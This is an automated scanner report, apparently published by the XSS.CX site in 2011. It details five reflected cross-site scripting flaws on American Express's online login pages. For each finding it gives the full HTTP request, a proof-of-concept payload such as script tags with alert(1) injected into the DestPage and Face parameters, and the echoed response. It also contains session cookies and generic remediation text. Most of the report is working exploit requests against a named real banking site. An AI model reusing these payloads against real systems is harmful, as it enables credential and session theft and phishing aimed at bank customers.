XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, online.americanexpress.com

Report generated by XSS.CX at Thu Oct 06 15:46:54 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

XSS.CX Anti-Phishing Research consumes Public Domain URL's to identify Points of Contact within an organization that would be sent Private Reports of Vulnerabilities. Its suggest that any published materials for Contact Us include Security Researchers seeking to report vulnerabilities observe URL http://technet.microsoft.com/en-us/security/ff852094.aspx as Best Practices for a Company to use as a baseline transaction. XSS.Cx doesn't use DOMAIN WHOIS, RADB or ARIN CIDR Point of Contact Records.

1. Cross-site scripting (reflected)

1.1. https://online.americanexpress.com/myca/logon/us/action [DestPage parameter]

1.2. https://online.americanexpress.com/myca/logon/us/action [DestPage parameter]

1.3. https://online.americanexpress.com/myca/logon/us/en/en_US/common/sorry.jsp [Face parameter]

1.4. https://online.americanexpress.com/myca/logon/us/en/en_US/common/sorry.jsp [Face parameter]

1.5. https://online.americanexpress.com/myca/logon/us/en/en_US/common/sorry.jsp [Face parameter]



1. Cross-site scripting (reflected)
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://online.americanexpress.com/myca/logon/us/action [DestPage parameter]  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://online.americanexpress.com
Path:   /myca/logon/us/action

Issue detail

The value of the DestPage request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 7dada%20a%3db40394ec87f9 was submitted in the DestPage parameter. This input was echoed as 7dada a=b40394ec87f9 in the application's response.

This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /myca/logon/us/action?request_type=LogonHandler&Face=en_US&DestPage=https%3A%2F%2Fonline.americanexpress.com%2Fmyca%2Fonlinepayment%2Fus%2Fpaymentcenter.do%3Frequest_type%3Dauthreg_PayBill%26Face%3Den_US%26Face%3Den_US%26sorted_index%3D0%26inav%3Dmenu_myacct_paybill7dada%20a%3db40394ec87f9 HTTP/1.1
Host: online.americanexpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.americanexpress.com/?inav=NavLogo
Cookie: 1DE399BF-814F-4BB8-9283-FA77C1188D1B_CCTInformation=3|%3Bexpires%3DSun%2C%2009%20Oct%202011%2006%3A02%3A33%20GMT|Paid Search|7b0ff7f1-27db-42ea-9b5d-c9a853f42791|7b0ff7f1-27db-42ea-9b5d-c9a853f42791|fef58b74-87d8-462d-988d-347ebfba935b|Google|1||tc|1315530464695|14421571065|g||fakereferrerdominator.com|||%2Badvertisement%20%2Bonline467a6%22-alert(document.location)-%2225b78a44730||b|27077|4939834372|69889545|2076866745||||Paid Search|; SaneID=10.10.14.1-1315532265820588; NSC_nf3-x-vt-pomjofqbz-c=ffffffff97a3d0fa45525d5f4f58455e445a4a4286c4; sroute=1007553034.58148.0000

Response

HTTP/1.1 200 OK
Date: Thu, 06 Oct 2011 20:27:43 GMT
Server: IBM_HTTP_Server
Pragma: no-cache
Cache-Control: no-store
Expires: Thu, 06 Oct 2011 20:27:43 GMT
LastModified: Thu, 06 Oct 2011 20:27:43 GMT
Keep-Alive: timeout=15, max=49
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding, User-Agent
Content-Length: 57229


           <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml2/DTD/xhtml1-strict.dtd">
<html xmlns="_http://www.w3.org/1999/xhtml" lang="en" xml:lang="e
...[SNIP]...
hidden" name="acctSelectedURL" value=https://online.americanexpress.com/myca/onlinepayment/us/paymentcenter.do?request_type=authreg_PayBill&Face=en_US&Face=en_US&sorted_index=0&inav=menu_myacct_paybill7dada a=b40394ec87f9/>
...[SNIP]...

1.2. https://online.americanexpress.com/myca/logon/us/action [DestPage parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://online.americanexpress.com
Path:   /myca/logon/us/action

Issue detail

The value of the DestPage request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload c0c0e%20a%3dba4515da9f3a was submitted in the DestPage parameter. This input was echoed as c0c0e a=ba4515da9f3a in the application's response.

This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

POST /myca/logon/us/action?request_type=LogLogonHandler&location=us_logon1 HTTP/1.1
Referer: https://online.americanexpress.com/myca/logon/us/action?request_type=LogonHandler&Face=en_US&inav=iNavLnkLog
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: online.americanexpress.com
Cookie: sroute=655231498.58148.0000; $Version=1; NSC_nf3-x-vt-mphpo-b=ffffffff97a3d1e545525d5f4f58455e445a4a42be89; $Path=/; SaneID=50.23.123.106-1317933759898191
Content-Length: 660
Expect: 100-continue
Accept-Encoding: gzip, deflate

DestPage=https%3a%2f%2fonline.americanexpress.com%2fmyca%2facctsumm%2fus%2faction%3frequest_type%3dauthreg_acctAccountSummary%26Face%3den_USc0c0e%20a%3dba4515da9f3a&Face=en_US&Logon=Logon&ReqSource=null&checkboxValueID=&devicePrint=&acctSelected=Cards+-+Check+and+Pay+Bill&acctSelectedURL=https%3a%2f%2fonline.americanexpress.com%2fmyca%2facctsumm%2fus%2faction%3f
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Thu, 06 Oct 2011 20:43:56 GMT
Server: IBM_HTTP_Server
Pragma: no-cache
Cache-Control: no-store
Expires: Thu, 06 Oct 2011 20:43:56 GMT
LastModified: Thu, 06 Oct 2011 20:43:56 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding, User-Agent
Content-Length: 65523


           <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml2/DTD/xhtml1-strict.dtd">
<html xmlns="_http://www.w3.org/1999/xhtml" lang="en" xml:lang="e
...[SNIP]...
<input id="acctSelectionHiddenFieldURL" type="hidden" name="acctSelectedURL" value=https://online.americanexpress.com/myca/acctsumm/us/action?request_type=authreg_acctAccountSummary&Face=en_USc0c0e a=ba4515da9f3a/>
...[SNIP]...

1.3. https://online.americanexpress.com/myca/logon/us/en/en_US/common/sorry.jsp [Face parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://online.americanexpress.com
Path:   /myca/logon/us/en/en_US/common/sorry.jsp

Issue detail

The value of the Face request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload f1c73><script>alert(1)</script>98b579ca4b2 was submitted in the Face parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /myca/logon/us/en/en_US/common/sorry.jsp?request_type=&Face=en_USf1c73><script>alert(1)</script>98b579ca4b2&sorted_index=&BPIndex=&ApplID= HTTP/1.1
Referer: https://online.americanexpress.com/myca/logon/us/en/en_US/common/sorry.jsp
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: online.americanexpress.com
Cookie: sroute=353241610.58148.0000; $Version=1; NSC_nf3-x-vt-mphpo-b=ffffffff97a3d1e545525d5f4f58455e445a4a42be89; $Path=/; JSESSIONID=0000BIif0oOD1M470jUzbxFsVz7:14fidvqp5; SaneID=50.23.123.106-1317933767479357
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Thu, 06 Oct 2011 20:44:55 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding, User-Agent
Content-Length: 37187
Connection: Keep-Alive


<HTML>
<HEAD>
<TITLE>American Express/Cards/We're Sorry -


</TITLE>
<meta lang="en" http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<META NAME="ROBOTS" CONTENT="NOINDE
...[SNIP]...
<A href=https://www99.americanexpress.com/myca/acctsumm/us/action?request_type=authreg_acctAccountSummary&Face=en_USf1c73><script>alert(1)</script>98b579ca4b2>
...[SNIP]...

1.4. https://online.americanexpress.com/myca/logon/us/en/en_US/common/sorry.jsp [Face parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://online.americanexpress.com
Path:   /myca/logon/us/en/en_US/common/sorry.jsp

Issue detail

The value of the Face request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 69e01"><script>alert(1)</script>9ab3c946e96 was submitted in the Face parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /myca/logon/us/en/en_US/common/sorry.jsp?request_type=&Face=en_US69e01"><script>alert(1)</script>9ab3c946e96&sorted_index=&BPIndex=&ApplID= HTTP/1.1
Referer: https://online.americanexpress.com/myca/logon/us/en/en_US/common/sorry.jsp
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: online.americanexpress.com
Cookie: sroute=353241610.58148.0000; $Version=1; NSC_nf3-x-vt-mphpo-b=ffffffff97a3d1e545525d5f4f58455e445a4a42be89; $Path=/; JSESSIONID=0000BIif0oOD1M470jUzbxFsVz7:14fidvqp5; SaneID=50.23.123.106-1317933767479357
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Thu, 06 Oct 2011 20:44:53 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding, User-Agent
Content-Length: 37190
Connection: Keep-Alive


<HTML>
<HEAD>
<TITLE>American Express/Cards/We're Sorry -


</TITLE>
<meta lang="en" http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<META NAME="ROBOTS" CONTENT="NOINDE
...[SNIP]...
<INPUT TYPE="hidden" NAME="Face" VALUE="en_US69e01"><script>alert(1)</script>9ab3c946e96">
...[SNIP]...

1.5. https://online.americanexpress.com/myca/logon/us/en/en_US/common/sorry.jsp [Face parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://online.americanexpress.com
Path:   /myca/logon/us/en/en_US/common/sorry.jsp

Issue detail

The value of the Face request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c063c"%3balert(1)//32613ae77da was submitted in the Face parameter. This input was echoed as c063c";alert(1)//32613ae77da in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /myca/logon/us/en/en_US/common/sorry.jsp?request_type=&Face=en_USc063c"%3balert(1)//32613ae77da&sorted_index=&BPIndex=&ApplID= HTTP/1.1
Referer: https://online.americanexpress.com/myca/logon/us/en/en_US/common/sorry.jsp
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: online.americanexpress.com
Cookie: sroute=353241610.58148.0000; $Version=1; NSC_nf3-x-vt-mphpo-b=ffffffff97a3d1e545525d5f4f58455e445a4a42be89; $Path=/; JSESSIONID=0000BIif0oOD1M470jUzbxFsVz7:14fidvqp5; SaneID=50.23.123.106-1317933767479357
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Thu, 06 Oct 2011 20:44:58 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding, User-Agent
Content-Length: 37145
Connection: Keep-Alive


<HTML>
<HEAD>
<TITLE>American Express/Cards/We're Sorry -


</TITLE>
<meta lang="en" http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<META NAME="ROBOTS" CONTENT="NOINDE
...[SNIP]...
<a href='javascript:GoToSOA(\"en_USc063c";alert(1)//32613ae77da\",\"/myca/acctsumm/us/action\");' >
...[SNIP]...

Report generated by XSS.CX at Thu Oct 06 15:46:54 CDT 2011.